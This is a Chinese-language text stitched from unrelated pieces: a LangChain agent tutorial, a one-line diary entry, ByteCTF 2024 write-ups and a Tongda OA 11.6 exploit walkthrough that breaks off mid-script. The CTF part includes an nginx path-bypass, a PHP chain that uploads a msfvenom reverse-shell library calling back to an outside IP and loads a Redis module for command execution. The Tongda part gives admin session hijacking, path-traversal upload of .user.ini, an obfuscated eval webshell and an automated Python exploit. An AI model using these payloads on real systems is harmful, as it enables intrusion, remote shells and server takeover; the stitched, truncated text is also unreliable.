入门

以langchain框架为例

环境配置

在同目录下.env内填入DASHSCOPE_API_KEY后完成环境配置

import osfrom dotenv import load_dotenvfrom langchain_openai import ChatOpenAIfrom langchain.agents import create_agentfrom langchain.chat_models import init_chat_model_ = load_dotenv()

加载LLM

ChatOpenAI

llm = ChatOpenAI(model = "qwen3-coder-plus"api_key = os.getenv("DASHSCOPE_API_KEY"),base_url = os.getenv("DASHSCOPE_BASE_URL"),)

init_chat_model

llm = init_chat_model(model = "qwen3-coder-plus",model_provider = "openai",api_key = os.getenv("DASHSCOPE_API_KEY"),base_url = os.getenv("DASHSCOPE_BASE_URL"),)

ReAct Agent

agent = create_agent(model = llm,system_prompt = "You are a helpful assistant",)response = agent.invoke({'messages': '你好'})response['messages'][-1].content

输出

'你好呀！✨ 很高兴见到你！今天过得怎么样？希望你度过了愉快的一天。我随时准备好陪你聊天、帮你解决问题，或者就这样轻松愉快地闲聊一会儿。有什么想跟我分享的吗？ 🌟'

可视化

agent

结果

工具调用

def get_weather(city: str) -> str:return f"It's always sunny in {city}!"tool_agent = create_agent(model = llm,tools = [get_weather],system_prompt = "You are a helpful assistant",)response = tool_agent.invoke({"messages": [{"role": "user","content": "what is the weather like in sf"}]})response['messages'][-1].content

输出'The current weather in San Francisco is sunny!'

可视化

tool-agent

结果

这里llm根据用户输入的sf推断出get_weather的传入值city为San Francisco，再根据工具返回的原始文本"It's always sunny in San Francisco!"整理成最终回复

ToolRuntime

ToolRuntime用户判断工具调用是否具备权限

from typing import Literal, Anyfrom pydantic import BaseModelfrom langchain.tools import tool, ToolRuntimeclass Context(BaseModel):authority: Literal["admin", "user"]@tooldef math_add(runtime: ToolRuntime[Context, Any], a: int, b: int)authority = runtime.context.authorityif authority != "admin":raise PermissionError("User does not have permission to add numbers")return a + btool_agent = create_agent(model = llm,tools = [get_weather, math_add],system_prompt = "You are a helpful assistant",)response = tool_agent.invoke({"messages": [{"role": {"user"}, "content": "请计算 8234783 + 94123832 = ?"}]},config = {"configurable": {"thread_id": "1"}},context = Context(authority = "admin"),)for message in resopnse['messages']:    message.pretty_print()

输出结果

================================ Human Message =================================请计算 8234783 + 94123832 = ?================================== Ai Message ==================================Tool Calls:  math_add (call_3ec7a09517794bc685109bf6) Call ID: call_3ec7a09517794bc685109bf6  Args:    a: 8234783    b: 94123832================================= Tool Message =================================Name: math_add102358615================================== Ai Message ==================================8234783 + 94123832 = 102358615。

authority: Literal["admin", "user"]的作用是将authority参数的值限制为admin或user，参数取值的合法性由pydantic校验

runtime: ToolRuntime[Context, Any]的作用是告诉框架runtime.context会是一个Context对象

结构化输出

response_format用于指定输出格式

from pydantic import BaseModel, Fieldclass CalcInfo(BaseModel):output: int = Field(description = "The calculation result")structured_agent = create_agent(model = llm,tools = [get_weather, math_add]system_prompt = "You are a helpful assistant"response_format = CalcInfo,)response = structured_agent.invoke({"messages": [{"role": "user", "content": "请计算 8234783 + 94123832 = ?"}]},config = {"configurable": {"thread_id": "1"}},context = Context(authority = "admin"),)for message in response['messages']:    message.pretty_print()

输出

================================ Human Message =================================请计算 8234783 + 94123832 = ?================================== Ai Message ==================================Tool Calls:  math_add (call_00d4ba805bfc40a38fef6c9b) Call ID: call_00d4ba805bfc40a38fef6c9b  Args:    a: 8234783    b: 94123832================================= Tool Message =================================Name: math_add102358615================================== Ai Message ==================================Tool Calls:  CalcInfo (call_ea136e28c9dd443ca9c1399a) Call ID: call_ea136e28c9dd443ca9c1399a  Args:    output: 102358615================================= Tool Message =================================Name: CalcInfoReturning structured response: output=102358615

语句response['structured_response']的输出为CalcInfo(output=102358615)

response_format=CalcInfo规定了返回结构，而模型读取字段名output和字段描述The calculation result推测出了输出内容大致是把计算结果放入output字段中

流式输出

用agent.stream而不是agent.invoke

agent = create_agent(model = llm,tools = [get_weather],)for chunk in agent.stream({"messages": [{"role": "user", "content": "What is the weather in SF?"}],stream_mode = "updates",):for step, data in chunk.items():print(f"step: {step})print(f"content: {data['messages'][-1].content_blocks}")

输出

step: modelcontent: [{'type': 'tool_call', 'name': 'get_weather', 'args': {'city': 'SF'}, 'id': 'call_fdce892f823d4b7c991aefac'}]step: toolscontent: [{'type': 'text', 'text': "It's always sunny in SF!"}]step: modelcontent: [{'type': 'text', 'text': "It seems like there might be some confusion. While San Francisco (SF) is known for its microclimates and can have varying weather, it's not always sunny. The weather can range from foggy and cool to partly cloudy or sunny, especially during different times of the year.\n\nWould you like me to check the current weather conditions in San Francisco for you?"}]

可以理解为

1. 模型传入参数city:SF并调用工具get_weather
2. 工具返回It's always sunny in SF!
3. 模型基于工具返回和自身思考，返回It seems like there might be some confusion. While San Francisco (SF) is known for its microclimates and can have varying weather, it's not always sunny. The weather can range from foggy and cool to partly cloudy or sunny, especially during different times of the year.\n\nWould you like me to check the current weather conditions in San Francisco for you?

1.1 新的一年的头一天和朋友在天津通宵，唱完K以后步行到火车站，在一座桥上点燃仙女棒并合了个影。印象最深的

AI

ezai

前面是pwntools交互和prompt+jinja2渲染ssti，提权后拿到embedding.json，要从embedding还原回flag明文，一开始考虑爆破flag内容并和embedding余弦相似度进行比较，在当前位相似度最高的字符串下爆破下一位直到爆破出flag为止，类似这样：

from volcenginesdkarkruntime import Arkimport numpy as npembedding = np.array(embedding[0])def cosine_similarity(a, b):    return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))client = Ark(    base_url="https://ark.cn-beijing.volces.com/api/v3",    api_key="********-****-****-****-************",)resp = client.embeddings.create(    model="ep-20240922020210-sxwcc",    # input=["ByteCTF{e039ffec-7edc-43cd-be59-352806c79ce1}"] 0.050100186655420036 0.03980661484708277    input=["ByteCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"] )def sliced_norm_l2(vec, dim=2048):    # dim 取值 512,1024,2048    norm = float(np.linalg.norm(vec[:dim]))    return [v / norm for v in vec[:dim]]result = np.array(resp.data[0].embedding)print(cosine_similarity(embedding, sliced_norm_l2(result, 768)))

但是发现这个逻辑并不成立（比如Byte并不一定是Byt_爆破所有字符的结果中与embedding余弦相似度最近的一个），然后考虑vec2text，地址jxmorris12/vec2text：用于将深度表示（如句子嵌入）解码回文本的实用程序 —- jxmorris12/vec2text: utilities for decoding deep representations (like sentence embeddings) back to text (github.com)，但vec2text支持的非原创模型只有openai的text-embedding-ada-002和gtr-base，text-embedding-ada-002的embedding是1536维的，gtr-base的是768维的，刚好与embedding.json所给embedding维数一样，于是

import vec2textimport torchcorrector = vec2text.load_pretrained_corrector("gtr-base")print(vec2text.invert_embeddings(    embeddings=torch.tensor(embedding),    corrector=corrector,    num_steps=20,))

得到flag

Web

ezoldbuddy

一个纯前端登录界面，爆破不了，没有任何跳转

<!-- <div style="margin-top: 10px; text-align: center;">     <a href="shopbytedancesdhjkf">Shop Bytedance</a> </div> -->

源码泄露路由/shopbytedancesdhjkf但是访问403，hint给出解析差异绕过，如nginx deny限制路径绕过 - 先知社区 (aliyun.com)所说，即为了防止绕过，nginx 在检查路径之前会执行路径规范化。但如果后端服务器执行不同的规范化（移除 nginx 不移除的字符），则可能绕过此防御。

nginx+flask可用\x85进行解析差异绕过，于是以GET方式请求/shopbytedancesdhjkf\x85（上CyberChef或者python hex解码都能得到\x85对应字符），成功访问

（一开始不知道为啥是flask，后来官方wp给出如果以GET方式请求/admin\x85会暴露django框架）

进入大采购环节，前端 be like

HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 12:18:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 6319Connection: close<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Checkout Page</title>    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">    <style>        body {            font-family: 'Roboto', sans-serif;            margin: 0;            padding: 0;            background: #f9f9f9;            color: #333;            display: flex;            justify-content: center;            align-items: center;            min-height: 100vh;        }        .container {            width: 90%;            max-width: 800px;            background: #fff;            padding: 2rem;            border-radius: 10px;            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);            text-align: center;        }        h1 {            font-size: 2.5rem;            margin-bottom: 1rem;            color: #444;        }        .products, .cart {            margin-bottom: 2rem;        }        .product-item, .cart-item {            display: flex;            justify-content: space-between;            align-items: center;            margin-bottom: 1rem;            padding: 1rem;            background: #f1f1f1;            border-radius: 5px;        }        .product-item h2, .cart-item h2 {            font-size: 1.2rem;            margin: 0;        }        .product-item p, .cart-item p {            margin: 0;            color: #888;        }        .total {            font-size: 1.5rem;            font-weight: bold;            margin-top: 2rem;        }        .add-button, .checkout-button {            padding: 0.5rem 1rem;            background-color: #007bff;            color: white;            border: none;            border-radius: 5px;            font-size: 1rem;            cursor: pointer;            transition: background-color 0.3s ease;        }        .checkout-button {            margin-top: 2rem;            background-color: #28a745;        }        .add-button:hover {            background-color: #0056b3;        }        .checkout-button:hover {            background-color: #218838;        }    </style></head><body>    <div class="container">        <h1>Your Shopping Cart</h1>        <div class="products">            <h2>Available Products</h2>            <div id="product-list">                <!-- Product items will be dynamically inserted here -->            </div>        </div>        <div class="cart">            <h2>Cart Items</h2>            <div id="cart-items">                <!-- Cart items will be dynamically inserted here -->            </div>        </div>        <div class="total">Total: $<span id="total-amount">0.00</span></div>        <div class="total">你的钱包: $<span id="total-wallet">500</span></div>        <button class="checkout-button" onclick="handleCheckout()">Checkout</button>        <p id="response-message"></p>    </div>    <script>        const productDB = [{"name": "Product MY LIFE", "price": 100}, {"name": "Product SDLC", "price": 200}, {"name": "Product Guitar", "price": 300}, {"name": "Product Ukulele", "price": 400}, {"name": "Product TUBA", "price": 500}, {"name": "Product E5 2666V3", "price": 600}, {"name": "Product X99", "price": 700}, {"name": "Product 8G*2 RECC 1866", "price": 800}, {"name": "$100 E-Gift Card", "price": 100}, {"name": "FFFFFLLLLLAAAAAGGG J", "price": 10000}];        let cart = [];        function addToCart(productId) {            const productIndex = cart.findIndex(item => item.id === productId);            if (productIndex > -1) {                cart[productIndex].qty += 1;            } else {                cart.push({ id: productId, qty: 1 });            }            updateCart();        }        function updateProductList() {            const productListContainer = document.getElementById('product-list');            productDB.forEach((product, index) => {                const productItem = document.createElement('div');                productItem.classList.add('product-item');                productItem.innerHTML = `                    <div>                        <h2>${product.name}</h2>                        <p>Price: $${product.price.toFixed(2)}</p>                    </div>                    <button class="add-button" onclick="addToCart(${index})">Add to Cart</button>                `;                productListContainer.appendChild(productItem);            });        }        function updateCart() {            const cartItemsContainer = document.getElementById('cart-items');                        const totalAmount = document.getElementById('total-amount');            const totalWallet = document.getElementById('total-wallet');            let total = 0;            cartItemsContainer.innerHTML = '';  // Clear previous items            cart.forEach(item => {                const product = productDB[item.id];                const itemTotal = product.price * item.qty;                total += itemTotal;                                const cartItem = document.createElement('div');                cartItem.classList.add('cart-item');                cartItem.innerHTML = `                    <div>                        <h2>${product.name}</h2>                        <p>${item.qty} x $${product.price.toFixed(2)}</p>                    </div>                    <div>$${itemTotal.toFixed(2)}</div>                `;                cartItemsContainer.appendChild(cartItem);            });            totalAmount.textContent = total.toFixed(2);            totalWallet.textContent = (500 - total).toFixed(2);        }        function handleCheckout() {            fetch('/cart/checkout', {                method: 'POST',                headers: { 'Content-Type': 'application/json' },                body: JSON.stringify({ orderId: 1, cart: cart })            })            .then(response => response.text())            .then(data => {                document.getElementById('response-message').textContent = data;            })            .catch(error => console.error('Error:', error));        }        updateProductList();    </script></body></html>

可以看到/shopbytedancesdhjkf/cart/checkout路由接受body为{orderId,cart:[{id,qty}]}形式的POST请求进行购物请求，但是稀里糊涂发了一个body为{orderId:1,cart:[{id:9,qty:1e4}]}的POST请求就出flag了

后来发现正解是JSON解析差异-风险研究 - 先知社区 (aliyun.com)里提到的包含两个重复的键的json中，python处理的方式为以重复的第二个键为主，go jsonparser处理的方式为以重复的第一个键为主（我求你原文作者别打错别字），构造的json中包含一小一大两个qty值就可以实现零元购从而得到flag（另外好像不用买flag，只需要买的商品价值总额为100万即可）

至于非预期是为什么就不得而知了

ezobj

一道没有官方wp的题

<?phpini_set("display_errors", "On");include_once("config.php");if (isset($_GET['so']) && isset($_GET['key'])) {    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {        array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));        putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");    }}if (isset($_GET['byte']) && isset($_GET['ctf'])) {      $a = new ReflectionClass($_GET['byte']);    $b = $a->newInstanceArgs($_GET['ctf']);    // echo $b;} elseif (isset($_GET['clean'])){    array_map('unlink', glob('/tmp/*'));} else {    highlight_file(__FILE__);    echo 'Hello ByteCTF2024!';}// phpinfo.html Hello ByteCTF2024!

查看phpinfo，有simplexml和imagick

天枢的文档里config.php莫名就读取到了，那借鉴一下wm的wp，先用simplexml写入php读取config.php

POST /?byte=SimpleXMLElement&ctf[0]=http://8.130.24.188/evil.xml&ctf[1]=2&ctf[2]=true HTTP/1.1Host: a1bc48a6.clsadp.comAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhPContent-Length: 345------WebKitFormBoundaryTrWYaXKoVR1wiLhPContent-Disposition: form-data; name="file"; filename="vulhub.msl"Content-Type: text/plain<?xml version="1.0" encoding="UTF-8"?><image>  <read filename="caption:<?php system($_REQUEST['cmd']); ?>"/>  <write filename="info:s.php" /></image>------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

等效于 SimpleXMLElement("http://8.130.24.188/evil.xml",2,true) ，其中true代表第一个参数为url

读取到secret=HelloByteCTF2024，先用msfvenom -p linux/x64/shell_reverse_tcp LHOST=82.156.18.214 LPORT=8080 -f elf-so > shell.so生成恶意.so，再用Imagick(vid:msl:/tmp/php*)迂回上传

POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 918Content-Type: multipart/form-data; boundary=15605bdf9aec6250208b22b032a9960b--15605bdf9aec6250208b22b032a9960bContent-Disposition: form-data; name="files"; filename="aaa.py"<?xml version="1.0" encoding="UTF-8"?><image><read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAH5BSnBLWUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU="/><write filename="/tmp/13.so"/></image>--15605bdf9aec6250208b22b032a9960b--

然后利用SplFileObject(/tmp/sky.wmv,w)写入空wmv文件并劫持.so

GET /?byte=SplFileObject&ctf[]=/tmp/sky.wmv&ctf[]=w HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 0

GET /?so=13&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/sky.wmv HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 0

拿到redis密码：bytectfa0d90b，进行redis module提权

redis-cliauth bytectfa0d90bMODULE LOAD /tmp/exploit.sosystem.exec 'ls /root'system.exec 'cat /root/flag'

首先下载通达OA，这里以11.6版本的为例，下载后发现php文件全部被Zend加密，于是用SeayDZend解密，接着进入漏洞复现环节

在线用户登录

在MYOA\webroot\mobile路径下的auth_mobi.php我们可以看到

……function relogin(){echo _("RELOGIN");exit();}……if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";$cursor = exequery(TD::conn(), $sql);if ($row = mysql_fetch_array($cursor)) {$P = $row["SID"];}}if ($P == "") {$P = $_COOKIE["PHPSESSID"];if ($P == "") {relogin();exit();}}……if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {relogin();}

从MYOA\webroot\inc\db_dict.inc.php中我们可以看到

$DB_DICT_FIELD_ARRAY["USER_ONLINE"] = array("UID" => "在线人员UID", "TIME" => "上次更新时间", "SID" => "在线人员Session ID", "CLIENT" => "客户端登录设备类型(0-浏览器,1-手机浏览器,2-OA精灵,5-iPhone,6-Android)");

即user_online是一个数据库表，$sql语句的作用是在user_online的表单中查询在线人员UID为$uid参数，客户端登录设备类型为$P_VER参数的在线人员session ID值

而如果在线人员Session ID为空且相应PHPSESSID的cookie键为空，或LOGIN_USER_ID与LOGIN_UID至少一个SESSION键为空，则执行relogin()函数，在页面上显示RELOGIN

所以当我们带着isAvatar参数为1，P_VER参数为0访问url/mobile/auth_mobi.php?isAvatar=1&uid=*&P_VER=0，可以得到对应uid账户的在线情况与session值

而通达OA的admin账户UID为1，故当我们访问url/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0时，如果显示RELOGIN，代表admin账户离线

如果显示为空，代表admin账户在线

此时查询请求响应中的Set-Cookie参数，其中的PHPSESSID即为admin账户的Session ID

在发送POST请求时将该Session ID以PHPSESSID形式携带即可实现admin用户登录

文件上传利用

只是登入admin账户对我们还不够，我们要实现文件上传利用，由于通达OA对上传文件限制比较严格，因此我们考虑通过上传.user.ini文件实现php包含木马

.user.ini文件是一个可以用户可以自定义的php配置文件，可以实现动态加载，即上传后自动间隔一定时间（可设置）会被执行。

而php配置中auto_append_file、auto_prepend_file这两个项可以被我们利用，前者表示文件后包含，即让执行目录到根目录的所有php文件后都包含指定文件，而后者表示文件前包含

因此，我们的大致思路是上传一个auto_append_file=木马文件的.user.ini，然后访问受控的任意一个php页面，实现木马文件上传

观察得MYOA\nginx\conf\nginx.conf中

location /attachment {            deny all;        }

得知正常情况下，文件被上传到MYOA\webroot\attachment，但该目录下没有php文件，即使上传.user.ini配置文件也无法被执行

但通过观察MYOA\webroot\general\hr\manage\staff_info\update.php

……$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];if ($PHOTO_NAME0 != "") {$FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";if (!file_exists($FULL_PATH)) {@mkdir($FULL_PATH, 448);}$PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));$FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;td_copy($ATTACHMENT, $FILENAME);if (file_exists($ATTACHMENT)) {unlink($ATTACHMENT);}if (!file_exists($FILENAME)) {Message(_("附件上传失败"), _("原因：附件文件为空或文件名太长，或附件大于30兆字节，或文件路径不存在！"));Button_Back();exit();}}……

我们发现$USER_ID没有被过滤就直接被拼接进了文件名$FILENAME变量中，同时，文件名$FILENAME的后缀名取自上传文件的后缀名，因此我们可以利用相对路径构造$USER_ID为../../其它路径，实现上传路径的更改

在11.7以上版本中，对上传路径又增加了限制

function td_path_valid($source, $func_name){    $source_arr = pathinfo($source);    $source = realpath($source_arr["dirname"]);    $basename = strtolower($source_arr["basename"]);    if ($source === false) {        return false;    }    if ($func_name == "td_fopen") {        $whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";        if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {            return true;        }    }    if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {        return false;    }    else {        return true;    }}

要求上传路径如果包含webroot，必须包含attachment，稳妥起见，我们将新的上传路径设在MYOA\webroot\general\reportshop\workshop\report\attachment-remark

发送如下POST请求

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104Content-Length: 365Connection: closeCookie: PHPSESSID=(待填);Upgrade-Insecure-Requests: 1-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.ini"Content-Type: text/plainauto_prepend_file=ace.log-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="submit"提交-----------------------------17518323986548992951984057104--

即将配置为auto_prepend_file=ace.log的.user.ini文件上传到/general/reportshop/workshop/report/attachment-remark目录下

然后再发送POST请求

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/ace HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104Content-Length: 365Connection: closeCookie: PHPSESSID=(待填);Upgrade-Insecure-Requests: 1-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.log"Content-Type: text/plain<?php echo "Hacked by C26H52♠";$aCe=create_function(base64_decode('JA==').chr(114195/993).str_rot13('b').str_rot13('z').chr(708-607),chr(0xc60e/0x1f6).base64_decode('dg==').str_rot13('n').chr(390-282).chr(0x1ae-0x186).chr(0x3ac-0x388).chr(0xd561/0x1db).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ==').str_rot13(')').chr(798-739));$aCe(base64_decode('OTM2N'.'DM3O0'.'BldkF'.'sKCRf'.''.str_rot13('H').str_rot13('R').chr(41382/726).str_rot13('G').base64_decode('Vg==').''.''.base64_decode('Rg==').str_rot13('g').str_rot13('D').base64_decode('Wg==').chr(23751/273).''.'lRaV0'.'pOzI4'.'MDkzM'.'TE7'.''));?>-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="submit"提交-----------------------------17518323986548992951984057104--

将ace.log上传至/general/reportshop/workshop/report/attachment-remark/目录下，其中ace.log的内容为

<?php echo "Hacked by C26H52♠";$aCe=create_function($some,eval($some););$aCe("936437;@evAl($_POST[PeiQi]);2809311;")?>

（create_function已在新版php中被弃用）

至此，再访问同目录下的/general/reportshop/workshop/report/attachment-remark/form.inc.php，即实现一句话木马上传，之后使用蚁剑连接即可

附上payload：

import requestsimport sysimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef login_admin(url):    test_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",    }    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=test_url, headers=headers, verify=False, timeout=5)        if "RELOGIN" in response.text and response.status_code == 200:            print("\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))        elif response.status_code == 200 and response.text == "":            Cookie = re.findall(r'PHPSESSID=(.*?);', str(response.headers))            print("\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(Cookie[0] ,time.asctime(time.localtime(time.time()))))            Cookie = "PHPSESSID={};USER_NAME_COOKIE=admin; OA_USER_ID=admin".format(Cookie[0])            upload_ini(url, Cookie)        else:            print("\033[31m[x] 请求失败，目标可能不存在漏洞")            sys.exit(0)    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)def upload_ini(url, Cookie):    upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",        "Accept-Encoding": "gzip, deflate",        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",        "Connection": "close",        "Cookie": Cookie,        "Upgrade-Insecure-Requests": "1",    }    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=upload_url, data=data, headers=headers, verify=False, timeout=5)        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(url))        if "档案已保存" in response.text and response.status_code == 200:            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(url))            upload_log(url, Cookie)        else:            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(url))            sys.exit(0)    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)def upload_log(url, Cookie):    upload_url = url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/peiqi"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",        "Accept-Encoding": "gzip, deflate",        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",        "Connection": "close",        "Cookie":  Cookie,        "Upgrade-Insecure-Requests": "1",    }    data = 